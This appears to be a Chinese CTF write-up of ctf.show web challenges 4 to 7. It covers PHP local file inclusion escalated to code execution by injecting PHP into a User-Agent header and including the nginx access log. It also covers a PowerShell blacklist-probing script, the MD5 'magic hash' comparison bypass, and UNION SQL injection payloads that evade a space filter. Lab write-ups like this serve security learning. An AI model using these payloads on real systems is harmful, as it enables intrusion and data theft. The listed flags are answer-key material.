学习地址:https://ctf.show/challenges#
第四题: php黑名单
页面内容:
<html lang="zh-CN"><head></head><body>ctfshow{f7ca2125-c923-4170-bb03-cf669ea4c90b}
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, initial-scale=1.0">
<title>ctf.show_web4</title>
<center>
<h2>ctf.show_web4</h2>
<hr>
<h3>
<code><span style="color: #000000">
<span style="color: #0000BB"><?php </span><span style="color: #007700">include(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'url'</span><span style="color: #007700">]);</span><span style="color: #0000BB">?></span>
</span>
</code> </h3></center>
</body></html>
和昨天的第三题类似,但是...
-
step1:查看权力
/?url=/etc/passwd
确实有返回,php指令成功执行 -
step2:查看文件夹
/?url=data://text/plane,<?php system('ls -la');?>
结果跳转到只有一个“error”的界面
大概率说明了一个问题:存在黑名单 -
step3: 查看没有被黑掉的词汇
<# probe-blacklist.ps1 ------------------------------------------------------------------ Purpose : Enumerate which keywords a challenge-side filter blocks. Usage : powershell -ExecutionPolicy Bypass -File .\probe-blacklist.ps1 ` -Url "http://xxxx.challenge.ctf.show/" How it works ------------ For every candidate token T it requests ?url=zzz<T>zzz That path never exists, so: - include() fails silently -> blank / status 200 -> token PASSES - filter rejects it -> the "error" page -> token BLOCKED The only variable is "did the filter fire", so the signal is clean. Note: ASCII-only on purpose. Windows PowerShell 5.1 reads a BOM-less .ps1 as ANSI, so non-ASCII literals in this file would corrupt. #> param( [Parameter(Mandatory = $true)][string]$Url, [int]$DelayMs = 80 ) [Console]::OutputEncoding = [System.Text.UTF8Encoding]::new($false) if ($Url -notmatch '/$') { $Url = "$Url/" } $tokens = @( # ---- controls (must PASS / must BLOCK) ---- 'AAA', # ---- scheme / wrapper words ---- 'php', 'PHP', 'Php', 'data', 'DATA', 'filter', 'input', 'http', 'https', 'ftp', 'file', 'phar', 'zip', 'expect', 'glob', 'zlib', 'compress', 'resource', 'convert', 'base64', 'rot13', 'iconv', 'string', # ---- function / command words ---- 'system', 'exec', 'shell_exec', 'passthru', 'popen', 'eval', 'assert', 'cat', 'echo', 'print', 'scandir', 'readfile', 'highlight_file', 'include', 'require', 'call_user_func', # ---- flag-ish ---- 'flag', 'FLAG', 'ctfshow', # ---- punctuation ---- ':', '//', '///', '\', '.', '..', ';', '|', '&', '$', '`', '{', '}', '(', ')', '[', ']', '<', '>', '?', '#', '"', ([char]39), # ---- sql ---- 'union', 'select', 'information_schema', # ---- misc ---- 'script', 'language', '_GET', 'url' ) function Invoke-Probe { param([string]$Value) $raw = & curl.exe -s -L --max-time 15 ` -w "`n___STATUS:%{http_code}" ` --get --data-urlencode "url=$Value" $Url 2>&1 $text = ($raw -join "`n") $status = '???' $idx = $text.LastIndexOf('___STATUS:') if ($idx -ge 0) { $status = $text.Substring($idx + 10).Trim() $text = $text.Substring(0, $idx) } # strip tags + collapse whitespace; the error page reduces to exactly "error" $plain = ($text -replace '(?s)<script.*?</script>', '') $plain = ($plain -replace '<[^>]+>', '') -replace '\s+', '' $verdict = if ($plain -eq 'error') { 'BLOCKED' } else { 'pass' } $snippet = ($text -replace '\s+', ' ').Trim() if ($snippet.Length -gt 55) { $snippet = $snippet.Substring(0, 55) + '...' } if ($snippet.Length -eq 0) { $snippet = '(empty)' } [pscustomobject]@{ Token = $Value Status = $status Verdict = $verdict Body = $snippet } } Write-Host "" Write-Host "target : $Url" -ForegroundColor Cyan Write-Host "probes : $($tokens.Count)" -ForegroundColor Cyan Write-Host "" # sanity check the method first $control = Invoke-Probe -Value 'AAA' if ($control.Verdict -ne 'pass') { Write-Host "!! CONTROL FAILED: 'AAA' came back BLOCKED." -ForegroundColor Red Write-Host "!! The filter blocks everything, or the error page differs." -ForegroundColor Red Write-Host "!! Raw body was: $($control.Body)" -ForegroundColor Red Write-Host "" } $results = foreach ($t in $tokens) { $r = Invoke-Probe -Value ("zzz{0}zzz" -f $t) $r.Token = $t Write-Host (" {0,-20} {1,-5} {2}" -f $t, $r.Status, $r.Verdict) if ($DelayMs -gt 0) { Start-Sleep -Milliseconds $DelayMs } $r } $blocked = @($results | Where-Object { $_.Verdict -eq 'BLOCKED' }) $passed = @($results | Where-Object { $_.Verdict -ne 'BLOCKED' }) Write-Host "" Write-Host "================ RESULT ================" -ForegroundColor Yellow Write-Host "" Write-Host "BLOCKED ($($blocked.Count)):" -ForegroundColor Red $blocked | ForEach-Object { Write-Host (" [{0,-4}] {1}" -f $_.Status, $_.Token) } Write-Host "" Write-Host "PASSED ($($passed.Count)):" -ForegroundColor Green $passed | ForEach-Object { Write-Host (" [{0,-4}] {1}" -f $_.Status, $_.Token) } Write-Host ""这个脚本是deepseek harness(之后统称dsh)生成的
使用脚本后发现,只有"php"和"data"
其他的都没有被禁用 -
step4: 剩下的道路
黑名单 = {php, data} ↓ 【问】能直接 RCE 的伪协议还剩谁? ├─ php://input → 含 "php" ✗ 死 ├─ php://filter → 含 "php" ✗ 死 ├─ data:// → 含 "data" ✗ 死 ├─ expect:// → 名字干净 ✓ 可能活(看扩展装没装)← 应该第一个试 └─ http:// → 名字干净 ✓ 可能活(但需要外部服务器) ↓ 伪协议都不保险 【问】那还能怎么把 LFI 升级成 RCE? ├─ 日志包含 ✓ 服务器一定会写访问日志 ├─ /proc/self/environ △ 看环境 └─ Session 文件包含 △ 看配置 ↓ 日志包含最可靠 走日志包含我们无法简单地去查看文件夹了,如果要逻辑性推理的话
就是注入日志!通过请求头注入:
curl.exe -A "<?php system('ls');?>" "靶场网址"这样就会在日志里面注入
这段话,上一章节讲过php在读取文件的时候,读取到""就会把后面的文字当文本输出,
那么我们就可以通过url去读取日志文件,并执行php指令/?url=*.log
不过现在有个问题: 日志在哪?长什么样?/var/log/nginx/access.log ← Debian/Ubuntu 的 nginx /var/log/apache2/access.log ← Debian/Ubuntu 的 Apache /var/log/httpd/access_log ← CentOS/RHEL 的 Apache /var/log/nginx/access_log ← 某些编译方式常见的Linux系统的日志
一个个试之后
是: /var/log/nginx/access.log ← Debian/Ubuntu 的 nginx
同时呢也看到了php指令在其中执行
很遗憾,同文件夹下只有index.php文件,也就是网站本身 通过注入后查看日志看index.php只有黑名单和网页内容,没有flag 那么flag就应该在其他位置了 -
step5: 寻找flag
flag常在位置:目录 理由 性质 /var/www Web 根目录通常是 /var/www/html,父目录是放 flag 的常见位置 半有依据 /tmp 容器初始化脚本常铺在这儿;可写 惯例 /root root 的家目录,部署脚本常在这 惯例 /home 用户家目录 惯例 env ← 环境变量 惯例 最后呢在/tmp、/var/www和env找到了flag
/tmp里有flag.txt和flag.sh,可惜的是这而这都没有flag
env里的环境变量:FLAG=no_flag /var/www 里有个flag.txt那么通过
/?url=/var/www/flag.txt看到如下内容:ctfshow{4c6fa9c3-7918-4430-a7c8-4a86a30b55a8}结束
第五题: 魔法哈希
我们先来看一下网页给了什么:
where is flag?
<?php
error_reporting(0);
?>
<html lang="zh-CN">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, initial-scale=1.0" />
<title>ctf.show_web5</title>
</head>
<body>
<center>
<h2>ctf.show_web5</h2>
<hr>
<h3>
</center>
<?php
$flag="";
$v1=$_GET['v1'];
$v2=$_GET['v2'];
if(isset($v1) && isset($v2)){
if(!ctype_alpha($v1)){
die("v1 error");
}
if(!is_numeric($v2)){
die("v2 error");
}
if(md5($v1)==md5($v2)){
echo $flag;
}
}else{
echo "where is flag?";
}
?>
</body>
</html>
-
注意到
<?php error_reporting(0);?>把错误打印关掉了 -
那么来看一下
<?php $flag=""; $v1=$_GET['v1']; $v2=$_GET['v2']; if(isset($v1) && isset($v2)){ if(!ctype_alpha($v1)){ die("v1 error"); } if(!is_numeric($v2)){ die("v2 error"); } if(md5($v1)==md5($v2)){ echo $flag; } }else{ echo "where is flag?"; } ?>这个语句再说:
输入字母类型v1,数字类型v2
分别md5化 然后进行==比较 -
解题必要知识:
-
算成 MD5 摘要,返回 32 位十六进制:
如:0e830400451993494058024219903391 -
== 有个特性:如果两边都是"数字字符串",会先转成数字再比
而 "0e830400451993494058024219903391" 这种形式,PHP 看成科学计数法:0e830400... = 0 × 10^830400... = 0 0e462097... = 0 × 10^462097... = 00 == 0
符合条件 -
只要两个字符串的 MD5 都是 0e 开头、后面全数字,它们就"相等"
这类值叫魔法哈希(magic hash) -
正因为要求一个纯字母、一个是数字
才必须去找 "两个不同字符串却有魔法哈希" 的组合
-
-
最后输入
/?v1=QNKCDZO&v2=240610708即可
第六题: 被加强的SQL
这道题和第二题的内容差不多,但是呢我们输入' #被拦截了,而'#没被拦截
通过黑白名单脚本后,发现' '空格被禁了
所以我们将空格转义成/**/
所以'/**/union/**/select/**/1,group_concat(flag),3/**/from/**/flag#秒了
第七题: 不那么明显的SQL注入
网页信息:
<html lang="zh-CN"><head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, initial-scale=1.0">
<title>ctf.show_web7</title>
</head>
<body>
<center>
<h2>ctf.show_web7</h2>
<hr>
</center>
<h4>文章列表</h4><ul><li><a href="index.php?id=1">If</a><br></li><li><a href="index.php?id=2">A Child's Dream of a Star</a><br></li><li><a href="index.php?id=3">I asked nothing</a><br></li></ul>
</body></html>
最开始没想明白能干什么,看到index.php?id=1,就开始思考是不是SQL注入: (一下SQL语句均为猜测)
第二题:
SELECT * FROM user WHERE username='$username' AND password='$password'
第七题:
SELECT id,title,content FROM page WHERE id=$id
这题的语句和前面的不一样,它没有反引号,所以这一次我们没必要在开头加反引号
那么就按照原套路:
(空格被黑名单了,所以用转义)
先查有几位
?id=-1/**/union/**/select/**/1,2,3#
(id=-1是让它不要显示文章内容,避免干扰)
(1估计是id,这个显示了2和3,分别对应标题和文章内容)
# ① 环境指纹
?id=-1/**/union/**/select/**/1,database(),3%23
?id=-1/**/union/**/select/**/1,version(),3%23
?id=-1/**/union/**/select/**/1,user(),3%23
# ② 查表名
?id=-1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()%23
# ③ 查列名(table_name 用十六进制,见下面说明)
?id=-1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name=0x666c6167%23
# ④ 取数据
?id=-1/**/union/**/select/**/1,flag,3/**/from/**/flag%23
一通查下来发现:
结局了
?id=-1/**/union/**/select/**/1,flag,3/**/from/**/flag%23
ctfshow{d43c5968-c13f-4ec8-b361-20b2b9f3718b}